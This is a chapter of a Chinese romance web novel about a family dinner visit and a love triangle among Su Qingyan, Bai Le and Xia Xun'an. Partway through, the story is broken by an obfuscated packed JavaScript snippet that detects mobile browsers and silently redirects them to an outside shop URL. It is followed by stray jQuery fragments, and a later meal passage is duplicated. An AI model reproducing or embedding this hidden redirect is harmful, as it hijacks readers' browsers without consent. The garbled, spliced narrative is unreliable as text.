苏母下意识地瞟了眼自己女儿,就见苏清颜神色坦然,伸手挽住夏浔安的胳膊,笑着介绍:“妈,这是夏夏,夏浔安,我们一起合作的伙伴,也是好朋友。刚好她也在,我就带她一起来尝尝你的手艺。”
“阿姨好。”夏浔安嘴甜,立刻笑着打招呼,把手里的礼物递过去,“第一次来打扰,一点小礼物,叔叔阿姨别嫌弃。”
“哎呀来就来,还带什么礼物。”苏母连忙接过来,心里的嘀咕却散了大半。
看女儿这坦然的样子,跟夏浔安挽着胳膊,亲密得像亲姐妹似的,哪里像是介意的样子?看来之前那吻戏还真就是借位拍的,是自己想多了。年轻人拍戏,借位太正常了,亏她之前还担心了好几天。
这么一想,苏母彻底放下心来,脸上的笑容更热情了:“快坐快坐,饭马上就好。浔安是吧?长得真漂亮,快坐,吃点水果。”
她热情地招呼夏浔安坐下,又给白乐倒茶,忙前忙后的,嘴里不停念叨:“清清总跟我提起你,说白乐年纪轻轻本事大,拍的电影好看,还拿了戛纳的奖。今天一见,果然一表人才。”
“阿姨过奖了。”白乐笑着接过茶杯,“麻烦您了。”
“不麻烦不麻烦,你能来阿姨高兴。”苏母笑得合不拢嘴,越看白乐越满意,个子高,长得周正,说话稳重,跟自家女儿站在一起,怎么看怎么般配。旁边夏浔安虽然也漂亮,但看着就是个小妹妹,跟白乐就是普通朋友。
苏母引着三人在沙发上坐下,端出绿豆汤和切好的水果,然后坐在白乐对面,笑眯眯地看着他:“小白啊,我可要好好恭喜你!你那个电影,首周票房二十多个亿,我刷手机天天都能看到你的消息。
街坊邻居知道我闺女和你认识,都跑来问我能不能找你要签名呢!”白乐被夸得有些不好意思,端起绿豆汤喝了一口:“阿姨过奖了,都是团队的努力。”
苏母摆了摆手:“哎,你就别谦虚了!我看那些报道都说,你是夏国电影史上最年轻的高票房纪录保持者。我们家颜颜能遇到你这样的合作伙伴,真是有福气。”她说着,转头看了一眼坐在旁边的苏清颜,目光里带着一丝意味深长。
苏清颜被母亲看得有些不自在,端起绿豆汤碗挡住了半边脸:“妈,你别老盯着人家看。”
“我看看怎么了?小白长得精神,还不能让人看了?”苏母理直气壮地说,又转头看向白乐,“小白啊,以后有空多来家里坐坐。阿姨给你做好吃的。”白乐点了点头:“好的阿姨,一定常来。”
苏父听到动静,从书房走了出来。
他穿着一件白色的老头衫,手里拿着一把蒲扇,看到白乐时,点了点头:“小白来了。”然后他的目光落在了夏浔安身上,打量了一下,又看了看自己的女儿,脸上露出一丝不易察觉的疑惑。
“叔叔好。”夏浔安站起身,礼貌地打招呼。
“你好你好,坐坐坐。”苏父摆了摆手,在沙发上坐下,摇着蒲扇,目光在三人之间转了一圈。
苏清颜坐在白乐和夏浔安中间,一手端着绿豆汤,一手拿着手机,正在给夏浔安看前几天在古镇拍的照片。
苏父收回目光,端起自己面前的茶杯,喝了一口。
他想起那天在电影院里看到的那个吻戏镜头——那个角度,那个光影,那个嘴唇接触时的挤压感。
他活了这么多年,看过几百上千部电影,他太知道什么叫借位,什么叫真亲了。
那个镜头,绝对不是借位。
但他同时也相信,自己的女儿一定也看出来了。
她在这个圈子里混了这么多年,怎么可能分不清借位和真亲?
可她既然看出来了,为什么还和这个叫夏浔安的姑娘关系这么好?甚至好到邀请她一起来家里做客?
苏父又喝了一口茶,目光在三个年轻人之间转了一圈,然后轻轻地摇了摇头。
他放下茶杯,靠在沙发上,摇着蒲扇,不再试图去理解年轻人的世界。他只是在心里默默地感慨了一句——看不懂了。现在的年轻人,我是真的看不懂了。
午饭过后,苏母去厨房洗碗,苏父回书房午休。客厅里只剩下三人。
电视上在播一档综艺节目,笑声阵阵,但三人的心思显然都不在电视上。
苏清颜靠在沙发上,拿着遥控器随意地换着台。
夏浔安坐在对面的单人沙发上,手里捧着手机,似乎在回复工作消息。白乐坐在苏清颜旁边,也拿出手机看了看,又放了回去。
过了一会儿,夏浔安放下手机,揉了揉太阳穴,声音带着一丝疲惫:“颜姐,我有点累了,想睡一会儿。”
苏清颜转过头,看着她:“那去我房间睡吧。我家没有多余的客房,你睡我的床,我在客厅陪白乐。”
夏浔安犹豫了一下:“方便吗?”
“有什么不方便的。”苏清颜站起身,“走吧,我带你去。”
夏浔安跟着苏清颜上了二楼。苏清颜推开自己房间的门,侧身让夏浔安进去:“被子是上周刚晒过的,枕头有两个,你喜欢高一点的还是矮一点的?”
“矮一点的就行。”夏浔安站在房间中央,目光缓缓扫过整个房间。
房间不大,但布置得很温馨。
一张一米五的床靠墙摆放,床头柜上放着一盏暖黄色的台灯和几本书。
衣柜是白色的,旁边有一个小小的梳妆台,上面摆着几瓶护肤品和一面试管口红。墙上挂着一幅水彩画,画的是西湖的断桥残雪。
窗台上摆着一盆绿萝,藤蔓垂落下来,在微风中轻轻摆动。整个房间都弥漫着一种淡淡的香味,是苏清颜常用的那款沐浴露的味道。
夏浔安站在这个房间里,心里涌起一种奇异的感觉——她正站在苏清颜从小到大生活过的空间里,被她的气味、她的物品、她的记忆所包围。
她脱下薄外套,搭在椅背上,然后在床边坐下,用手按了按床垫:“床很软。”
“我从小就睡这张床。”苏清颜靠在门框上,“那你先休息,有事叫我。”
“好。”
苏清颜带上门,下楼去了。
夏浔安坐在床边,又环顾了一圈房间。
她的目光在床头柜上那几本书上停留了片刻——有一本小说集,有一本诗集,还有一本电影理论方面的书。
她伸手拿起那本电影理论书,翻了翻,看到页边有几处铅笔做的笔记,字迹清秀,是苏清颜的字。
她合上书,放回原位,然后躺了下来。
被子确实有阳光晒过的味道,混合着苏清颜身上那种淡淡的香味。她闭上眼睛,却没有立刻入睡。
她听到外面传来电视的声音,还有苏清颜和白乐偶尔的交谈声,声音很低,听不清在说什么。
她翻了个身,将脸埋进枕头里,深深地吸了一口气。
客厅里,苏清颜回到沙发上坐下,拿起遥控器,继续换台。
但她显然心不在焉,目光虽然落在电视屏幕上,却根本没有在看节目内容。
她换了一圈台,最后停在一个放着音乐节目的频道上,放下遥控器,靠在沙发靠背上。
白乐坐在她旁边,也没有说话。
电视里的歌声在客厅里流淌。
过了半晌,苏清颜忽然开口:“白乐。”
“嗯?”
“你今天开了很久的车了,也去休息一下吧。”
白乐愣了一下,指了指自己:“我也去睡觉?”
又指了指卧室方向:“我也去卧室?”
“不然呢?”苏清颜挑眉,拉着他往卧室走,“夏夏看着有点心不在焉的,你去陪陪她。”
白乐更懵了:“她在你房间睡觉,我进去算怎么回事?”
“怎么,你还怕我吃醋啊?”苏清颜停在卧室门口,回头看他,眼里带着点促狭的笑意,“我没那么小气。她第一次来家里,估计有点拘束,你进去跟她说两句话,安抚两句。”
白乐愣住了,他看着苏清颜的眼睛,想从她的表情里判断她是在开玩笑还是认真的。但苏清颜的表情很平静,不像是在开玩笑。
她说完这句话后,没有等他回答,直接伸手推开了房门,然后将白乐轻轻地推了进去。
门锁发出“咔哒”一声轻响。
白乐踉跄了一步,站稳时,身后的门已经被苏清颜从外面带上了。
苏清颜站在门外,看着面前紧闭的房门,沉默了片刻。
夏浔安那点小心思,她怎么会看不出来。
她苏清颜从来不是靠挤兑别人来赢的人。
机会给你了,能不能把握住,就看你自己的本事了。
她勾了勾唇角,转身去厨房帮苏母的忙,脚步从容,半点犹豫都没有。
“夏夏呀,机会都给你了,你要把握不住,可别怪我。”
房间里,夏浔安正侧躺在床上,背对着门。
她听到门被推开的声音,以为是苏清颜又回来了,正要翻身坐起来——然后她看到了白乐。她的动作僵住了。
白乐站在门口,一只手还搭在门把手上,表情有些尴尬。两人对视了片刻,夏浔安先开口了,声音里带着一丝疑惑:“你怎么进来了?”
白乐放下手,站在门边,难得地有些语塞:“苏……我开了很久的车,应该挺累了,也让我来睡一会儿。”
夏浔安看着他,撇了撇嘴,明显不信:“少来,路上轮流开的车,你根本没开多久,累什么累。”
回来大半都是她和苏清颜换着开的,白乐根本没费多少劲。
眼珠子转了转,她忽然反应过来什么,盯着白乐看了几秒,嘴角慢慢翘起来一点,又很快压下去。
是苏清颜推他进来的。
那个女人,居然主动把人送进来了。
她心里又酸又有点说不出的滋味,酸的是这是苏清颜的房间、苏清颜的家,对方像主人一样施舍机会。
可又有点雀跃——不管怎么样,现在白乐就在她面前,在同一张床边。
她没说话,往床的里面挪了挪,腾出半边位置,拍了拍床单:“那你上来吧,总不能站着。”
白乐犹豫了两秒,还是脱了鞋上床,靠在床头坐下。
房间里很安静,蜜桃花香淡淡的,裹着夏浔安身上的柑橘味,混在一起格外好闻。
他侧过头想跟她说两句话,却愣住了。
夏浔安低着头,眼泪正顺着脸颊往下掉,砸在床单上,洇出小小的湿痕。
她咬着下唇,没发出一点声音,只有肩膀微微抖着,倔强得很。
“怎么了夏夏?”白乐一下子慌了,连忙侧身凑过去,伸手想去擦她的眼泪,“好好的怎么哭了?是不是哪里不舒服?”
夏浔安摇摇头,不说话,眼泪掉得更凶了。
她也不想哭的,太丢人了。
她知道苏清颜把白乐推进这个房间,不是因为她真的觉得白乐需要休息。
她是故意的。
她在给她机会。
她在施舍她。
她是夏浔安,夏家的独女。
她夏家大小姐,什么时候这么矫情过?从小想要什么都能靠自己得到。
她不需要任何人的施舍,更不需要在别人的房间里,被别人喜欢的人“推进来”安慰。
她躺在苏清颜的床上,盖着苏清颜的被子,闻着苏清颜的味道,而苏清颜把她喜欢的人推进来陪她——这算什么?怜悯?施舍?还是某种居高临下的慷慨?
她的眼眶不受控制地热了起来。
她不想在白乐面前哭,但她控制不住。
她侧过头,将脸埋进枕头里,不想让他看到自己的表情。
但肩膀的抖动出卖了她。
白乐看到她在哭,伸出手轻轻搭在她的肩膀上。
夏浔安靠在白乐身上,没有说话。
但眼泪掉得更凶了。
她恨自己这副模样,恨自己为什么要在这种时候哭,但她就是忍不住。
她夏浔安这辈子没求过人,没羡慕过谁,她想要的东西从来都是靠自己争取来的。
可现在,她躺在这个房间里,觉得自己像一只被人施舍食物的流浪猫。
过了好一会儿,夏浔安的哭声渐渐平息了。
但她依然将脸埋在他的胸口,没有抬头。
白乐感觉到她闷闷的声音从他胸口传来:“你知道我现在躺在哪里吗?”
白乐愣了一下,低头看着她乌黑的发顶:“……苏清颜的床上。”
“对。”夏浔安的声音带着一丝沙哑,“我躺在苏清颜的床上,被苏清颜的被子包裹着,闻着苏清颜的味道,抱着苏清颜喜欢的人。”她顿了顿,声音更轻了一些,“我算什么?”
白乐的心脏像是被什么东西狠狠攥了一下。
他张了张嘴,想要说什么,却发现自己的喉咙堵得厉害。
他沉默了很久,然后收紧了揽着她后背的手臂,将她更紧地拥入怀中:“你不是什么替代品,你也不是谁的附属品,你是夏浔安。”
白乐沉默了片刻,然后他轻轻地把她拉了起来,让她坐直身体,面对着自己。他看着她通红的眼眶和倔强的表情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672519|206239||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,没有说什么大道理,只是轻声说了一句:“夏夏,你还记得我们大学时候的事吗?”
夏浔安愣了一下,不明白他为什么突然提起这个。
“我记得有一次,学校办电影节,你拉赞助拉了整整一个月,拉来了二十多万。”白乐说,语气平静而温和,“那时候所有人都觉得不可能,一个学生电影节怎么可能拉到这么多赞助,但你做到了。”
夏浔安没有说话,但她的眼泪渐渐止住了。
白乐继续说:“你从小到大,想要什么都是靠自己争取来的。你不靠别人施舍,也不需要别人可怜。这一点,从来没有变过。”他看着她,目光认真,“所以,你不用觉得躺在这里是被施舍了什么。你不需要任何人的施舍。你想要什么,你自己去争取就行了。”
夏浔安看着他,沉默了很久。然后她抬起手,用手背擦干了脸上的泪痕。
她深吸了一口气,又缓缓呼出,肩膀的抖动终于平息了。
她看着白乐,目光里那种委屈和酸涩渐渐褪去,取而代之的是一种坚定的光芒。
是啊。
她夏浔安什么时候需要别人施舍了?
苏清颜喜欢白乐,那是苏清颜的事。
她夏浔安也喜欢白乐,那是她夏浔安的事。
她不需要苏清颜给她机会,也不需要任何人替她安排。
想要什么,她自己会去争取。她喜欢白乐,她就要用自己的方式去喜欢。
想要吻他,她就要自己去吻。不需要经过任何人的许可,也不需要等待任何人的安排。
夏浔安看着白乐,忽然笑了。
然后她伸出手,一把抓住了白乐的衣领,将他拉向自己,吻上了他的唇。
她的手指紧紧攥着他的衣领,像是怕他逃跑一样。
她吻得很用力,甚至有些笨拙,但那种笨拙里带着一种让人无法拒绝的真诚。
白乐在最初的愣怔之后,他伸出手,揽住了她的腰,将她拉近了一些。
夏浔安的身体微微颤抖了一下,然后她放松了下来,将自己更深地投入。
两人吻了很久才分开。
夏浔安的呼吸有些急促,她的额头抵着白乐的额头,目光近在咫尺地对视着。
她的声音带着一丝沙哑,但语气却异常坚定:“白乐,我喜欢你。不是因为苏清颜把你推了进来,不是因为任何人的安排。是我自己喜欢你,早在大学的时候就喜欢了。”
白乐看着她,沉默了片刻,然后他伸出手,轻轻抚摸着她的脸颊:“我知道。”
夏浔安看着他,眼眶又有些泛红,但这一次,不是委屈的泪水,而是一种如释重负的轻松。
她将脸埋进他的颈窝里,闷闷地说了一句:“那就好。”
两人就这样安静地拥抱了一会儿。
过了好一会儿,夏浔安从他怀里抬起头,看着他,目光里带着一丝促狭:“不过,颜姐把你推进来这件事,我还是有点不爽。回头我得想办法还回去。”
白乐看着她,忍不住笑了:“你们俩这是要互相伤害到什么时候?”
“一辈子。”夏浔安理所当然地说,然后她又凑近了他,吻上了他的唇。
这一次,吻比刚才更加温柔,也更加绵长。
.....................
吻到后来,夏浔安的手从衣领滑到他的后背,紧紧抱着他,整个人都靠在他怀里。
眼泪早就停了,脸颊通红,嘴唇被吻得亮晶晶的,微微喘着气。
两人才猛地分开。
夏浔安别过脸,耳朵尖红得快要滴血,手指还揪着白乐的衣角没松开。白乐也有点喘,指尖轻轻蹭了蹭她泛红的眼角,声音沙哑:“不哭了?”
“谁哭了。”夏浔安嘴硬,吸了吸鼻子,却没推开他,“刚才……你不许说出去。”
“好,不说。”白乐笑着点头。
夏浔安抬头瞪他一眼,眼里还带着水光,却没什么威慑力,反倒像撒娇。
她推了白乐一把:“快下去吧,别让颜姐等久了。”
“一起下去。”白乐拉着她的手,把她从床上拉起来,伸手帮她理了理乱掉的头发,又帮她拿过外套,“整理一下,别让阿姨看出来。”
夏浔安乖乖站着,任由他帮自己拢头发,心里刚才那点酸涩和委屈,早就被冲得烟消云散了。
管它是谁的房间,管它是不是施舍的机会。
反正人是她的,吻也是她的。
她抬起头,冲白乐笑了笑。
两人一前一后走出卧室的时候,苏清颜正端着盘子从厨房出来,抬头扫了他们一眼,目光在夏浔安微红的眼角和有点肿的嘴唇上停留了半秒,随即移开,笑着说:“醒了?正好,饭刚做好,洗手准备吃饭吧。”
“好嘞颜姐!”夏浔安蹦蹦跳跳地去洗手,路过苏清颜身边时,偷偷冲她眨了眨眼,带着点小得意。
苏清颜嗤笑一声,没说话,只是看向白乐,挑了挑眉。
白乐有点无奈地摇了摇头,也去了洗手间。
苏母从厨房端着最后一道汤出来,完全没察觉三个年轻人之间的暗流涌动,还乐呵呵地招呼:“快坐快坐,尝尝阿姨的手艺,都是家常便饭,别客气。”。
苏母在厨房里忙活了一个多小时,做了一桌子菜。
清蒸鲈鱼、糖醋排骨、笋干老鸭煲、蒜蓉空心菜、凉拌黄瓜、番茄蛋汤。
都是家常菜,但每一道都做得用心。
苏母从厨房端着最后一道汤出来,乐呵呵招呼三人上桌:“快坐快坐,尝尝阿姨的手艺,都是家常便饭,别客气。”。
苏清颜坐在白乐旁边,夏浔安坐在白乐对面。
苏父坐在主位,苏母坐在他旁边。
苏母不停地给白乐和夏浔安夹菜:“小白尝尝这个糖醋排骨,颜颜说你喜欢吃甜的。”
“小夏多吃点这个笋干,我们杭城的笋干和外头的不一样,你尝尝。”
白乐和夏浔安都礼貌地道谢,低头吃饭。
苏父坐在主位,话不多,但目光一直在三人之间游移。
白乐在喝汤时,苏清颜很自然地将自己碗里的一块排骨夹到了白乐碗里,白乐没有推辞,低头就吃了。
而夏浔安看到这一幕后,没有说什么,但她默默地给白乐盛了一碗汤,放在他手边。
白乐也喝了,还说了一句“谢谢”。
苏父夹了一筷子青菜,慢慢地嚼着,目光在三人之间又转了一圈。
然后他低下头,继续吃饭,什么也没说。